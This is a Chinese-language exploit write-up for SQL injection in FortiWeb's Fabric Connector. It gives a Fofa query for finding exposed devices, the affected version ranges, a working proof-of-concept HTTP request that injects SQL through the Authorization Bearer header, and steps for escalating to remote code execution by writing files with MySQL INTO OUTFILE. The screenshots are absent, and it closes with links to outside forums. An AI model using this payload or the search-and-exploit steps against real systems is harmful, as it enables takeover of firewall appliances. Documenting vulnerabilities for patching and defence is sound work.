Fofa:app=“FORTINET-FortiWeb” || app=“FortiWeb”
影响版本:7.6.0 <= FortiWeb <= 7.6.3;7.4.0 <= FortiWeb <= 7.4.7;7.2.0 <= FortiWeb <= 7.2.10;7.0.0 <= FortiWeb <= 7.0.10
漏洞原理:源于Fortinet FortiWeb Fabric Connector 组件在认证处理中没有严格校验输入参数,攻击者可在 Authorization: Bearer 头中注入恶意SQL语句,实现远程代码执行获取服务器权限。
在这里插入图片描述
Poc:正常来说版本匹配且回显401且存在nonce在响应头中的都是存在漏洞的机器

GET /api/fabric/device/status HTTP/1.1
Host: your-ip
Authorization: Bearer 123'/**/or/**/'x'='x
Connection: close
User-Agent: python-requests/2.X
Accept-Encoding: gzip, deflate
Accept: */*

在这里插入图片描述
1、将恶意执行构造成十六进制
2、通过篡改 Authorization 头部的 Bearer 令牌,插入 '; + SQL代码 闭合原始查询的单引号,使后续SQL指令被数据库执行
3、利用MySQL 的 INTO OUTFILE 功能将数据库内容写入服务器文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
漏洞验证完成;
想看其他内容访问https://www.wlaqsys.com与https://pc.fenchuan8.com/#/index?forum=106431

更多推荐